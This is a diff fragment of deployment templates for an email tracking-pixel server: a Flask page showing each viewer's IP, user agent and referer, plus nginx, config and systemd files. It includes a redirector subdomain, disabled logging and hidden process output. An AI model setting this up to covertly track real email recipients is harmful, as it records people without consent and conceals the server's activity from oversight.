tracker_domain="{{ tracker_domain }}",
|
||||
redirector_domain="{{ redirector_subdomain }}.{{ domain }}"
|
||||
)
|
||||
|
||||
@app.route('/details/<tracking_id>')
|
||||
def tracking_details(tracking_id):
|
||||
"""Display detailed tracking information for a specific ID"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
return f"No data found for tracking ID: {tracking_id}", 404
|
||||
|
||||
events = tracking_data[tracking_id]
|
||||
|
||||
# Simple HTML template for details
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Tracking Details: {{ tracking_id }}</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1, h2 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
.back { margin-bottom: 20px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="back"><a href="/">« Back to Dashboard</a></div>
|
||||
<h1>Tracking Details: {{ tracking_id }}</h1>
|
||||
<p>Total views: {{ events|length }}</p>
|
||||
|
||||
<h2>Events</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Time</th>
|
||||
<th>IP Address</th>
|
||||
<th>User Agent</th>
|
||||
<th>Referer</th>
|
||||
</tr>
|
||||
{% for event in events %}
|
||||
<tr>
|
||||
<td>{{ event.timestamp }}</td>
|
||||
<td>{{ event.ip_address }}</td>
|
||||
<td>{{ event.user_agent }}</td>
|
||||
<td>{{ event.referer }}</td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, tracking_id=tracking_id, events=events)
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=5000, debug=False)
|
||||
@@ -0,0 +1,33 @@
|
||||
# templates/tracker-config.j2
|
||||
"""
|
||||
Email Tracker Configuration
|
||||
"""
|
||||
|
||||
# Basic Configuration
|
||||
SECRET_KEY = '{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}'
|
||||
DEBUG = False
|
||||
|
||||
# Database settings
|
||||
DB_NAME = 'tracker.db'
|
||||
|
||||
# Domain configuration
|
||||
DOMAIN = '{{ tracker_domain }}'
|
||||
USE_HTTPS = {{ tracker_setup_ssl | default(true) | lower }}
|
||||
|
||||
# Tracking pixel path
|
||||
TRACKING_PATH = 'pixel.png'
|
||||
|
||||
# API Keys
|
||||
{% if tracker_ipinfo_token is defined and tracker_ipinfo_token != "" %}
|
||||
IPINFO_TOKEN = '{{ tracker_ipinfo_token }}'
|
||||
{% else %}
|
||||
IPINFO_TOKEN = None
|
||||
{% endif %}
|
||||
|
||||
# Notification settings
|
||||
ENABLE_NOTIFICATIONS = False
|
||||
NOTIFICATION_EMAIL = '{{ tracker_email | default("admin@" + domain) }}'
|
||||
|
||||
# Logger configuration
|
||||
LOG_LEVEL = 'INFO'
|
||||
LOG_FILE = '/var/log/tracker.log'
|
||||
@@ -0,0 +1,52 @@
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# Redirect to HTTPS if SSL is enabled
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
|
||||
|
||||
# Proxy to tracker app
|
||||
location / {
|
||||
proxy_pass http://127.0.0.1:5000;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
# Specific location for tracking pixel
|
||||
location ~ ^/pixel/(.+)\.png$ {
|
||||
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
# Cache control - don't cache tracking pixels
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
|
||||
expires off;
|
||||
}
|
||||
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
|
||||
{% if zero_logs | default(true) %}
|
||||
# Disable logging for privacy
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
[Unit]
|
||||
Description=Email Tracking Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
User=tracker
|
||||
Group=tracker
|
||||
WorkingDirectory=/root/Tools/tracker
|
||||
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security settings
|
||||
PrivateTmp=true
|
||||
ProtectSystem=full
|
||||
NoNewPrivileges=true
|
||||
|
||||
# Hide process information
|
||||
StandardOutput=null
|
||||
StandardError=journal
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||